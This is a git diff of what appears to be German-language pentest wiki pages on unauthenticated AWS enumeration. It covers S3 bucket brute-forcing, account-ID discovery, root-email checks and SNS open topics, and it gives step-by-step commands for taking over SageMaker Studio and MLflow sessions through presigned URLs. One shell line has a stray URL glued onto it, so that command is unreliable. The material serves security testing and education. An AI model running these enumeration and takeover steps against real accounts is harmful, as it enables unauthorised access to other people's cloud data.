-- **[s3dns](https://github.com/olizimmermann/s3dns)** – Ein leichter DNS-Server, der passiv Cloud-Speicher-Buckets (S3, GCP, Azure) identifiziert, indem er den DNS-Verkehr analysiert. Er erkennt CNAMEs, folgt Auflösungs-Ketten und passt Bucket-Muster an, was eine ruhige Alternative zu Brute-Force- oder API-basierten Entdeckungen bietet. Perfekt für Recon- und OSINT-Workflows.
-- Überprüfen Sie [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), eine Webseite mit bereits **entdeckten offenen Buckets**.
-- Der **Bucket-Name** und der **Bucket-Domain-Name** müssen **identisch sein.**
-- **flaws.cloud** hat die **IP** 52.92.181.107 und wenn Sie dorthin gehen, werden Sie zu [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) weitergeleitet. Auch `dig -x 52.92.181.107` gibt `s3-website-us-west-2.amazonaws.com` zurück.
-- Um zu überprüfen, ob es sich um einen Bucket handelt, können Sie auch **besuchen** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
-
-#### Brute-Force
-
-Sie können Buckets finden, indem Sie **Namen** im Zusammenhang mit dem Unternehmen, das Sie testen, **brute-forcen**:
-
-- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
-- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
-- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Enthält eine Liste mit potenziellen Bucket-Namen)
-- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
-- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
-- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
-- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
-- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
-- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
-
-<pre class="language-bash"><code class="lang-bash"># Generieren Sie eine Wortliste, um Permutationen zu erstellen
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Generieren Sie eine Wortliste basierend auf den Domains und Subdomains, die getestet werden sollen
-## Schreiben Sie diese Domains und Subdomains in subdomains.txt
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Erstellen Sie Permutationen basierend auf einer Liste mit den Domains und Subdomains, die angegriffen werden sollen
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## Das vorherige Tool ist spezialisiert auf die Erstellung von Permutationen für Subdomains, lassen Sie uns diese Liste filtern
-<strong>### Entfernen Sie Zeilen, die mit "." enden
-</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Erstellen Sie eine Liste ohne TLD
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Erstellen Sie eine Liste ohne Punkte
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Erstellen Sie eine Liste ohne Bindestriche
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Generieren Sie die endgültige Wortliste
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## Rufen Sie s3scanner auf
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-</code></pre>
-
-#### Loot S3 Buckets
-
-Gegebene S3 offene Buckets kann [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) automatisch **nach interessanten Informationen suchen**.
-
-### Finde die Region
-
-Sie können alle von AWS unterstützten Regionen in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) finden.
-
-#### Über DNS
-
-Sie können die Region eines Buckets mit einem **`dig`** und **`nslookup`** erhalten, indem Sie eine **DNS-Anfrage der entdeckten IP** durchführen:
-```bash
-dig flaws.cloud
-;; ANSWER SECTION:
-flaws.cloud.    5    IN    A    52.218.192.11
-
-nslookup 52.218.192.11
-Non-authoritative answer:
-11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
-```
-Überprüfen Sie, ob die aufgelöste Domain das Wort "website" enthält.\
-Sie können auf die statische Website zugreifen, indem Sie zu: `flaws.cloud.s3-website-us-west-2.amazonaws.com` gehen\
-oder Sie können auf den Bucket zugreifen, indem Sie `flaws.cloud.s3-us-west-2.amazonaws.com` besuchen.
-
-
-
-#### Durch Ausprobieren
-
-Wenn Sie versuchen, auf einen Bucket zuzugreifen, aber im **Domainnamen eine andere Region angeben** (zum Beispiel der Bucket ist in `bucket.s3.amazonaws.com`, aber Sie versuchen, auf `bucket.s3-website-us-west-2.amazonaws.com` zuzugreifen, dann werden Sie **auf den richtigen Standort hingewiesen**:
-
-![](<../../../images/image (106).png>)
-
-### Auflisten des Buckets
-
-Um die Offenheit des Buckets zu testen, kann ein Benutzer einfach die URL in seinen Webbrowser eingeben. Ein privater Bucket antwortet mit "Zugriff verweigert". Ein öffentlicher Bucket listet die ersten 1.000 Objekte auf, die gespeichert wurden.
-
-Für alle zugänglich:
-
-![](<../../../images/image (201).png>)
-
-Privat:
-
-![](<../../../images/image (83).png>)
-
-Sie können dies auch mit der CLI überprüfen:
-```bash
-#Use --no-sign-request for check Everyones permissions
-#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
-#--recursive if you want list recursivelyls
-#Opcionally you can select the region if you now it
-aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
-```
-Wenn der Bucket keinen Domainnamen hat, geben Sie beim Versuch, ihn aufzulisten, **nur den Bucket-Namen** und nicht die gesamte AWSs3-Domain an. Beispiel: `s3://<BUCKETNAME>`
-
-### Öffentliches URL-Template
-```
-https://{user_provided}.s3.amazonaws.com
-```
-### Konto-ID aus öffentlichem Bucket abrufen
-
-Es ist möglich, ein AWS-Konto zu bestimmen, indem man den neuen **`S3:ResourceAccount`** **Policy Condition Key** ausnutzt. Diese Bedingung **beschränkt den Zugriff basierend auf dem S3-Bucket**, in dem sich ein Konto befindet (andere kontobasierte Richtlinien beschränken den Zugriff basierend auf dem Konto, in dem sich der anfordernde Principal befindet).\
-Und da die Richtlinie **Wildcard-Zeichen** enthalten kann, ist es möglich, die Kontonummer **nur eine Ziffer nach der anderen** zu finden.
-
-Dieses Tool automatisiert den Prozess:
-```bash
-# Installation
-pipx install s3-account-search
-pip install s3-account-search
-# With a bucket
-s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
-# With an object
-s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
-```
-Diese Technik funktioniert auch mit API Gateway-URLs, Lambda-URLs, Data Exchange-Datensätzen und sogar um den Wert von Tags abzurufen (wenn Sie den Tag-Schlüssel kennen). Weitere Informationen finden Sie in der [**originalen Forschung**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) und dem Tool [**conditional-love**](https://github.com/plerionhq/conditional-love/), um diese Ausnutzung zu automatisieren.
-
-### Bestätigen, dass ein Bucket zu einem AWS-Konto gehört
-
-Wie in [**diesem Blogbeitrag**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) erklärt, **wenn Sie Berechtigungen zum Auflisten eines Buckets haben**, ist es möglich, eine accountID zu bestätigen, zu der der Bucket gehört, indem Sie eine Anfrage wie folgt senden:
-```bash
-curl -X GET "[bucketname].amazonaws.com/" \
--H "x-amz-expected-bucket-owner: [correct-account-id]"
-
-<?xml version="1.0" encoding="UTF-8"?>
-<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
-```
-Wenn der Fehler "Zugriff verweigert" lautet, bedeutet das, dass die Kontonummer falsch war.
-
-### Verwendete E-Mails zur Enumeration des Root-Kontos
-
-Wie in [**diesem Blogbeitrag**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) erklärt, ist es möglich zu überprüfen, ob eine E-Mail-Adresse mit einem AWS-Konto verknüpft ist, indem man **versucht, einer E-Mail Berechtigungen** über einen S3-Bucket über ACLs zu gewähren. Wenn dies keinen Fehler auslöst, bedeutet das, dass die E-Mail ein Root-Benutzer eines AWS-Kontos ist:
-```python
-s3_client.put_bucket_acl(
-Bucket=bucket_name,
-AccessControlPolicy={
-'Grants': [
-{
-'Grantee': {
-'EmailAddress': 'some@emailtotest.com',
-'Type': 'AmazonCustomerByEmail',
-},
-'Permission': 'READ'
-},
-],
-'Owner': {
-'DisplayName': 'Whatever',
-'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
-}
-}
-)
-```
-## Referenzen
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
new file mode 100644
index 000000000..85339395c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
@@ -0,0 +1,194 @@
+# AWS - S3 Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3 Public Buckets
+
+Ein Bucket gilt als **“public”**, wenn **jeder Benutzer den Inhalt** des Buckets auflisten kann, und als **“private”**, wenn der Inhalt des Buckets **nur von bestimmten Benutzern aufgelistet oder beschrieben werden kann**.
+
+Unternehmen können **Berechtigungen von Buckets falsch konfiguriert** haben, wodurch Zugriff entweder auf alles oder auf alle in AWS authentifizierten Benutzer in jedem Konto (also auf jeden) gewährt wird. Beachte, dass selbst bei solchen Fehlkonfigurationen einige Aktionen möglicherweise nicht ausgeführt werden können, da Buckets eigene Access Control Lists (ACLs) haben können.
+
+**Erfahre mehr über AWS-S3 Fehlkonfigurationen hier:** [**http://flaws.cloud**](http://flaws.cloud/) **und** [**http://flaws2.cloud/**](http://flaws2.cloud)
+
+### Finding AWS Buckets
+
+Verschiedene Methoden, um festzustellen, ob eine Webseite AWS verwendet, um Ressourcen zu speichern:
+
+#### Enumeration & OSINT:
+
+- Verwendung des Browser-Plugins **wappalyzer**
+- Mit burp (**spidering** des Webs) oder durch manuelles Durchklicken der Seite werden alle **geladenen Ressourcen** im Verlauf gespeichert.
+- **Prüfe Ressourcen** in Domains wie:
+
+```
+http://s3.amazonaws.com/[bucket_name]/
+http://[bucket_name].s3.amazonaws.com/
+```
+
+- Prüfe auf **CNAMES**, da `resources.domain.com` möglicherweise das CNAME `bucket.s3.amazonaws.com` hat
+- **[s3dns](https://github.com/olizimmermann/s3dns)** – Ein leichter DNS-Server, der passiv Cloud-Storage-Buckets (S3, GCP, Azure) durch Analyse des DNS-Verkehrs identifiziert. Er erkennt CNAMEs, folgt Auflösungs-Ketten und matched Bucket-Muster und bietet eine ruhige Alternative zu Brute-Force- oder API-basierter Entdeckung. Ideal für Recon- und OSINT-Workflows.
+- Prüfe [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), eine Webseite mit bereits **entdeckten offenen Buckets**.
+- Der **Bucket-Name** und der **Bucket-Domainname** müssen **identisch** sein.
+- **flaws.cloud** hat die **IP** 52.92.181.107 und wenn du die Seite aufrufst, leitet sie zu [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) weiter. Außerdem liefert `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com`.
+- Um zu überprüfen, ob es sich um einen Bucket handelt, kannst du auch **https://flaws.cloud.s3.amazonaws.com/** besuchen.
+
+#### Brute-Force
+
+Du kannst Buckets finden, indem du Namen, die mit dem Unternehmen, das du pentesting, zusammenhängen, per Brute-Force ausprobierst:
+
+- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
+- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
+- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Enthält eine Liste mit potenziellen Bucket-Namen)
+- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
+- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
+- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
+- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
+- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
+- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
+
+<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+<strong>### Remove lines ending with "."
+</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+</code></pre>
+
+#### Loot S3 Buckets
+
+Bei offenen S3-Buckets kann [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) automatisch **nach interessanten Informationen suchen**.
+
+### Find the Region
+
+Du findest alle von AWS unterstützten Regionen unter [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
+
+#### By DNS
+
+Du kannst die Region eines Buckets mittels `dig` und `nslookup` ermitteln, indem du eine DNS-Anfrage der entdeckten IP durchführst:
+```bash
+dig flaws.cloud
+;; ANSWER SECTION:
+flaws.cloud.    5    IN    A    52.218.192.11
+
+nslookup 52.218.192.11
+Non-authoritative answer:
+11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
+```
+Prüfe, ob die aufgelöste Domain das Wort "website" enthält.\
+Du kannst auf die statische Website zugreifen, indem du folgende Adresse aufrufst: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
+oder den Bucket über folgende Adresse aufrufen: `flaws.cloud.s3-us-west-2.amazonaws.com`
+
+
+
+#### Durch Ausprobieren
+
+Wenn du versuchst, auf einen Bucket zuzugreifen, aber in der **Domain eine andere Region angibst** (zum Beispiel ist der Bucket in `bucket.s3.amazonaws.com`, du versuchst aber `bucket.s3-website-us-west-2.amazonaws.com` aufzurufen), wirst du auf den **korrekten Standort hingewiesen**:
+
+![](<../../../images/image (106).png>)
+
+### Bucket enumerieren
+
+Um die Offenheit des Buckets zu testen, kann ein Benutzer einfach die URL in seinem Webbrowser eingeben. Ein privater Bucket antwortet mit "Access Denied". Ein öffentlicher Bucket listet die ersten 1,000 Objekte, die gespeichert wurden.
+
+Für alle offen:
+
+![](<../../../images/image (201).png>)
+
+Privat:
+
+![](<../../../images/image (83).png>)
+
+Du kannst das auch mit dem CLI prüfen:
+```bash
+#Use --no-sign-request for check Everyones permissions
+#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
+#--recursive if you want list recursivelyls
+#Opcionally you can select the region if you now it
+aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
+```
+Wenn der Bucket keinen Domainnamen hat, verwende beim Versuch, ihn zu enumerate, **nur den Bucket-Namen** und nicht die gesamte AWSs3-Domain. Beispiel: `s3://<BUCKETNAME>`
+
+### Öffentliche URL-Vorlage
+```
+https://{user_provided}.s3.amazonaws.com
+```
+### Account-ID aus öffentlichem Bucket abrufen
+
+Es ist möglich, ein AWS-Konto zu ermitteln, indem man den neuen **`S3:ResourceAccount`** **Policy Condition Key** ausnutzt. Diese Bedingung schränkt den Zugriff basierend auf dem S3 bucket ein, in dem sich ein Account befindet (andere kontobasierte Richtlinien schränken basierend auf dem Konto ein, in dem sich der anfragende Principal befindet).\
+Und weil die Richtlinie **wildcards** enthalten kann, ist es möglich, die Kontonummer **eine Ziffer nach der anderen** zu ermitteln.
+
+Dieses Tool automatisiert den Prozess:
+```bash
+# Installation
+pipx install s3-account-search
+pip install s3-account-search
+# With a bucket
+s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
+# With an object
+s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
+```
+Diese Technik funktioniert auch mit API Gateway URLs, Lambda URLs, Data Exchange data sets und sogar, um den Wert von tags zu erhalten (wenn du den tag key kennst). Du findest mehr Informationen in der [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) und dem Tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) zur Automatisierung dieser exploitation.
+
+### Bestätigung, dass ein bucket zu einem AWS-Konto gehört
+
+Wie in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)** erklärt, if you have permissions to list a bucket** ist es möglich, die accountID zu bestätigen, zu der der bucket gehört, indem du eine Anfrage wie folgt sendest:
+```bash
+curl -X GET "[bucketname].amazonaws.com/" \
+-H "x-amz-expected-bucket-owner: [correct-account-id]"
+
+<?xml version="1.0" encoding="UTF-8"?>
+<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
+```
+Wenn der Fehler „Access Denied“ lautet, bedeutet das, dass die Account-ID falsch war.
+
+### Verwendete E-Mails zur root account enumeration
+
+Wie in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) erklärt, ist es möglich zu prüfen, ob eine E-Mail-Adresse mit einem AWS account verknüpft ist, indem man **versucht, einer E-Mail Berechtigungen** für einen S3-Bucket über ACLs zu gewähren. Wenn dadurch kein Fehler ausgelöst wird, bedeutet das, dass die E-Mail der root user eines AWS accounts ist:
+```python
+s3_client.put_bucket_acl(
+Bucket=bucket_name,
+AccessControlPolicy={
+'Grants': [
+{
+'Grantee': {
+'EmailAddress': 'some@emailtotest.com',
+'Type': 'AmazonCustomerByEmail',
+},
+'Permission': 'READ'
+},
+],
+'Owner': {
+'DisplayName': 'Whatever',
+'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
+}
+}
+)
+```
+## Referenzen
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
new file mode 100644
index 000000000..9fa2da666
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
@@ -0,0 +1,108 @@
+# AWS - SageMaker Unbefugter Zugriff
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile)
+
+### Beschreibung
+Eine Identität mit der Berechtigung, `sagemaker:CreatePresignedDomainUrl` auf einem Ziel-`UserProfile` des Studio aufzurufen, kann eine Login-URL erzeugen, die direkt in SageMaker Studio als dieses Profil authentifiziert. Dadurch erhält der Browser des Angreifers eine Studio-Sitzung, die die `ExecutionRole`-Berechtigungen des Profils übernimmt und vollen Zugriff auf das EFS-gespeicherte Home-Verzeichnis und die Apps des Profils gewährt. Weder `iam:PassRole` noch Console-Zugriff sind erforderlich.
+
+### Anforderungen
+- Eine SageMaker Studio `Domain` und ein Ziel-`UserProfile` darin.
+- Der Angreifer-Principal benötigt `sagemaker:CreatePresignedDomainUrl` auf dem Ziel-`UserProfile` (Ressourcen‑Ebene) oder `*`.
+
+Minimales Policy-Beispiel (auf ein UserProfile beschränkt):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedDomainUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
+}
+]
+}
+```
+### Missbrauchsschritte
+
+1) Enumerate a Studio Domain und UserProfiles, die Sie anvisieren können
+```bash
+DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
+aws sagemaker list-user-profiles --domain-id-equals $DOM
+TARGET_USER=<UserProfileName>
+```
+2) Generiere eine presigned URL (standardmäßig etwa 5 Minuten gültig)
+```bash
+aws sagemaker create-presigned-domain-url \
+--domain-id $DOM \
+--user-profile-name $TARGET_USER \
+--query AuthorizedUrl --output text
+```
+3) Öffnen Sie die zurückgegebene URL in einem Browser, um sich bei Studio als Zielbenutzer anzumelden. In einem Jupyter-Terminal innerhalb von Studio überprüfen Sie die effektive Identität:
+```bash
+aws sts get-caller-identity
+```
+Hinweise:
+- `--landing-uri` kann weggelassen werden. Einige Werte (z. B. `app:JupyterLab:/lab`) können je nach Studio‑Variante/-Version abgelehnt werden; Standardwerte leiten typischerweise zur Studio‑Startseite und dann zu Jupyter weiter.
+- Organisationsrichtlinien/VPC-Endpoint-Einschränkungen können den Netzwerkzugriff dennoch blockieren; die Token-Ausstellung erfordert keine Konsolen-Anmeldung oder `iam:PassRole`.
+
+### Auswirkungen
+- Laterale Bewegung und Privilegieneskalation durch das Übernehmen eines beliebigen Studio `UserProfile`, dessen ARN erlaubt ist, wodurch dessen `ExecutionRole` sowie Dateisystem/Apps geerbt werden.
+
+### Belege (aus einem kontrollierten Test)
+- Mit nur `sagemaker:CreatePresignedDomainUrl` auf einem Ziel-`UserProfile` gab die Angreiferrolle erfolgreich eine `AuthorizedUrl` zurück, wie:
+```
+https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
+```
+- Eine direkte HTTP-Anfrage antwortet mit einer Weiterleitung (HTTP 302) zu Studio, was bestätigt, dass die URL gültig und bis zum Ablauf aktiv ist.
+
+
+## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
+
+### Beschreibung
+Eine Identität mit der Berechtigung, `sagemaker:CreatePresignedMlflowTrackingServerUrl` für einen Ziel-SageMaker MLflow Tracking Server aufzurufen, kann eine einmalig verwendbare presigned URL erstellen, die sich direkt am verwalteten MLflow UI dieses Servers authentifiziert. Das gewährt denselben Zugriff, den ein legitimer Benutzer auf den Server hätte (Experimente und Runs anzeigen/erstellen sowie Artefakte im S3 artifact store des Servers herunterladen/hochladen), ohne Zugriff auf die Konsole oder `iam:PassRole`.
+
+### Voraussetzungen
+- Ein SageMaker MLflow Tracking Server im Account/der Region sowie dessen Name.
+- Der angreifende Principal benötigt `sagemaker:CreatePresignedMlflowTrackingServerUrl` auf der Ziel-MLflow Tracking Server-Ressource (oder `*`).
+
+Minimales Policy-Beispiel (auf einen Tracking Server beschränkt):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
+}
+]
+}
+```
+### Missbrauchsschritte
+
+1) MLflow Tracking Servers enumerieren, die du anvisieren kannst, und einen Namen auswählen
+```bash
+aws sagemaker list-mlflow-tracking-servers \
+--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
+TS_NAME=<tracking-server-name>
+```
+2) Generiere eine presigned MLflow UI URL (für kurze Zeit gültig)
+```bash
+aws sagemaker create-presigned-mlflow-tracking-server-url \
+--tracking-server-name "$TS_NAME" \
+--expires-in-seconds 300 \
+--session-expiration-duration-in-seconds 1800 \
+--query AuthorizedUrl --output text
+```
+3) Öffnen Sie die zurückgegebene URL in einem Browser, um auf die MLflow UI als authentifizierter Benutzer für diesen Tracking Server zuzugreifen.
+
+Notes:
+- Der Tracking Server muss sich in einem betriebsbereiten Zustand befinden (z. B. `Created/Active`). Befindet er sich noch im Status `Creating`, wird der Aufruf abgelehnt.
+- Die presigned URL ist einmalig verwendbar und kurzlebig; erzeugen Sie bei Bedarf eine neue.
+
+### Auswirkungen
+- Direkter Zugriff auf die verwaltete MLflow UI für den anvisierten Tracking Server, wodurch das Anzeigen und Ändern von experiments/runs sowie das Abrufen oder Hochladen von Artefakten, die im konfigurierten S3 artifact store des Servers gespeichert sind, innerhalb der von der Serverkonfiguration durchgesetzten Berechtigungen ermöglicht wird.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
deleted file mode 100644
index 3e2d15b56..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SNS Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Für weitere Informationen über SNS siehe:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Offen für Alle
-
-Wenn du ein SNS-Thema über die Webkonsole konfigurierst, ist es möglich anzugeben, dass **jeder veröffentlichen und abonnieren kann**:
-
-<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
-
-Wenn du also **die ARN der Themen** im Konto **findest** (oder potenzielle Namen für Themen bruteforced), kannst du **überprüfen**, ob du **veröffentlichen** oder **abonnieren** kannst.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
new file mode 100644
index 000000000..cfaa3c8c2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
@@ -0,0 +1,55 @@
+# AWS - SNS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Für weitere Informationen zu SNS siehe:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Open to All
+
+Wenn du ein SNS-Topic über die Webkonsole konfigurierst, kannst du angeben, dass **Everyone can publish and subscribe** to the topic:
+
+<figure><img src="../../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
+
+Wenn du also die **ARNs von Topics** im Account findest (oder potenzielle Topic-Namen per Brute-Force ausprobierst), kannst du prüfen, ob du **an sie publishen** oder **sie subscribe** kannst.
+
